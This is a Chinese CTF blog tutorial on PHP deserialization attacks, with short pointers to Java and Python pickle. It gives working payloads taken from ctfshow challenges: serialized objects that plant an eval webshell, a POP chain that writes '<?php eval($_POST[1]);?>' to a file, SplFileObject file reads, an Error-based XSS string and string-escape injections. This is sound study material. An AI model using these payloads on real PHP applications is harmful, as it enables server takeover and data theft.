反序列化

2024 年 11 月 7 日 (已编辑)
1769 字
9 分钟

反序列化

反序列化漏洞一般出在三种语言中: python, java, php; 现在就主要讲讲php, 剩下的之后再说

序列化和反序列化

序列化是将复杂的数据结构(如对象及其字段)转换为"更平坦"格式的过程; 这种格式可以作为连续的字节流发送和接收序列化数据, 使数据操作更简单

而反序列化是将字节流还原为原始对象的过程

原理

序列化在内部没有漏洞, 漏洞在反序列化过程; 对用户输入过于信任/过滤不严使得攻击者能够操纵序列化对象, 以便将有害数据传递到应用程序代码中

PHP反序列化

PHP序列化

PHP通过serialize()unserialize()来进行序列化和反序列化

php
$user->name = "carlos"; $user->isLoggedIn = true;
# O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}

输出解释如下:

php
O:4:"User"    # 具有4个字符的类名称的对象 "User"
2    # 对象具有2个属性
s:4:"name"    # 第一个属性的键是4个字符的字符串 "name"
s:6:"carlos"    # 第一个属性的值是6个字符的字符串 "carlos"
s:10:"isLoggedIn"    # 第二个属性的键是10个字符的字符串 "isLoggedIn"
b:1    # 第二个属性的值是布尔值 true

PHP魔术方法

这个只能自己多试试, 多找点可用的方法

反序列化栗子

不用魔术方法的

  1. 获取flag
php
include('flag.php')
class showflag{
    public $isTrue = false;

    public function checkVip(){
        return $this->isVip;
    }

    public function onlyVipGetFlag(){
        if($this->isVip){
            global $flag;
            echo $flag;
        }else{
            echo "noway";
        }
    }
}

$user = unserialize($_GET['user']);
if($user->checkVip()){
    $user->onlyVipGetFlag();
}

在反序列化过程中可以控制对应变量

php
<?php
    class ctfShowUser{
        public $isVip=true;
    }

    }
    $a = new ctfShowUser();
    echo urlencode(serialize($a));
  1. 执行命令:
php
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

同样修改变量

php
class backDoor{
    private $code='eval($_POST[1]);';
    public function getInfo(){
        eval($this->code);
    }
}

用魔术方法的

大差不差, 不过需要构造pop链(例子修改自ctfshow web261):

当然题目肯定不会这么简单, 会让你绕过一些魔术方法/利用多个魔术方法

php
class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }

    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }

    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }

unserialize($_GET['vip']);

利用file_put_contents()函数写马

php
<?php
    class ctfshowvip{
        public $username;
        public $password;
        public $code;

        public function __construct($u='',$p=''){
            $this->username='877.php';
            $this->password='<?php eval($_POST[1]);?>';
        }
    }
    echo urlencode(serialize(new ctfshowvip()));

其他题型

上面的全是新生赛水平, 现在就是特性了

原生类反序列化

原生是本就存在的意思, 所以原生类实际就是在PHP库里已经被封装好的类; 而这些类在用法上包括了目录遍历、文件读取等一系列的操作, 我们就是要利用这些封装好的函数

所有函数都可以在这里查: PHP 标准库(SPL)

本地测试好像需要在php拓展中打开soap拓展

不知道如何对pop链下手且没有可以利用函数的反序列化基本上就逃不过原生函数了

  1. 遍历文件目录类

(1)DirectoryIterator类:

这个类会创建一个指定目录的迭代器,当遇到echo时会触发__toString()方法,输出指定目录里面经过排序之后的第一个文件名, 如果用上循环, 就是输出所有了

php
<?php
highlight_file(__FILE__);
$dir=new DirectoryIterator("./");
foreach($dir as $tmp){
    echo($tmp.'<br>');
}

后续利用可以结合glob://协议

(2)FilesystemIterator

本来就继承自DirectoryIterator, 可以继续用__toString()

(3)GlobIterator

也是大同小异, 不过GlobIterator是基于glob()这个函数

php
<?php
highlight_file(__FILE__);
$dir=new GlobIterator("./*");
foreach($dir as $tmp){
    echo($tmp.'<br>');
}
  1. 读取文件类

SplFileObject

该函数可以进行遍历, 查找, 读取等操作, 下面这个是对文件中的每一行内容进行遍历

php
<?php
$text= new SplFileObject('./flag.txt');
foreach ($text as $tmp){
    echo $tmp;
}
echo "</br>";
show_source(__FILE__);

同样可以结合glob://协议

  1. 原生Error/Exception

适用于php7且开启报错的情况下

Error中也有个__toString(), 控制它的内容,再配合<script>标签就能实现xss

php
<?php
$a = new Error("<script>alert('hello hack')</script>");
echo urlencode(serialize($a));
?>

Exception继承了Error,因此Error能实现的事Exception也能实现而且操作几乎一样

题目肯定不会如此简单, 可以看【靶场】ctfshow 详解web259原生类反序列化, 这个题目利用SoapClient类结合发包直接从头构造恶意的数据包

反序列化字符串逃逸

程序直接对序列化后生成的字符串进行非法字符过滤, 导致整体字符串长度发生变化

而php反序列化时是严格遵守序列化字符串的格式的, 而且在过滤后没有进行二次验证, 我们可以利用这个特点去拼接字符串, 这就造成了字符串逃逸漏洞

可以利用我们能修改的变量去修改本来不能修改的变量, 分为字符增多的情况和字符减少的情况

php
<?php
highlight_file(__FILE__);

function filter_repmore($str){
    return str_replace('b','cc',$str);  //整体字符串变长
}

class A{
    public $name='b';
    public $info="ctfer";
}

$test1=new A();
print("<br>");
print(serialize($test1))."<br>";
print(filter_repmore(serialize($test1)))."<br>";
?>
/*
未过滤: O:1:"A":2:{s:4:"name";s:1:"b";s:4:"info";s:5:"ctfer";}
过滤后: O:1:"A":2:{s:4:"name";s:1:"cc";s:4:"info";s:5:"ctfer";}
成功逃逸了一个字符
*/

至于为什么叫做成功逃逸了, 我们可以试试将$name改成这个:

php
public $name='b";s:4:"info";s:5:"ctfer";}';

/*
O:1:"A":2:{s:4:"name";s:27:"b";s:4:"info";s:5:"ctfer";}";s:4:"info";s:5:"ctfer";}

O:1:"A":2:{s:4:"name";s:27:"cc";s:4:"info";s:5:"ctfer";}";s:4:"info";s:5:"ctfer";}
*/

可以发现原来b的地方数字变为27, 后面的被闭合不再生效, 这中间就是我们可控的部分; 现在只需要凑够payload相关的内容, 正常闭合就能修改其他变量

每有一个b, 就会多出一个c无法被当做正常字符串去读取

比如把$info改为hacker, 此时我们的payload

php
public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"info";s:6:"hacker";}';
# O:1:"A":2:{s:4:"name";s:54:"cccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"info";s:6:"hacker";}";s:4:"info";s:5:"ctfer";}

测试能否正常反序列化, 发现正常, 且info变为了hacker

php
$test2=filter_repmore(serialize($test1));
var_dump(unserialize($test2));
# object(A)#2 (2) { ["name"]=> string(54) "cccccccccccccccccccccccccccccccccccccccccccccccccccccc" ["info"]=> string(6) "hacker" }

PHP的session反序列化漏洞

同样是利用闭合构造语句

中间件漏洞

  1. yii2框架有一个反序列化漏洞, 有多种payload和链子
  2. Laravel v5.7反序列化漏洞
  3. ThinkPHP V5.1 反序列化漏洞

phar反序列化

参考文章:

如果要生成phar文件, 你得先修改php.ini文件, 将phar.readonly设置为Off

绕过

基本在于替换函数以及利用php特性, 都是互通的

  • 传递地址

    将把&a指向的地址传给了&b, a如果发生改变, b也随之变化

php
public function __construct($t,$p){
    $this->token=$t;
    $this->password = &$this->token;
}
  • 大小写绕过

    没什么好说的, 绕过正则表达式罢了

  • 破坏正常的反序列化结构 没有太多例子, 有一个被正则截拦但是依然能正常触发__destruct的例题是ctfshow web266

  • 条件竞争

Java反序列化

Java反序列化

Python反序列化

参考文章:

pickle反序列化

Pickle和xPickle是python下的序列化与反序列化包

这个利用过程比较像模板注入啊(ssrf), 常见也是命令执行

可以看ctfshow web277-278: Web入门_反序列化

文章标题:反序列化

文章作者:4reexile

文章链接:https://4reexile.github.io/posts/ctf/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。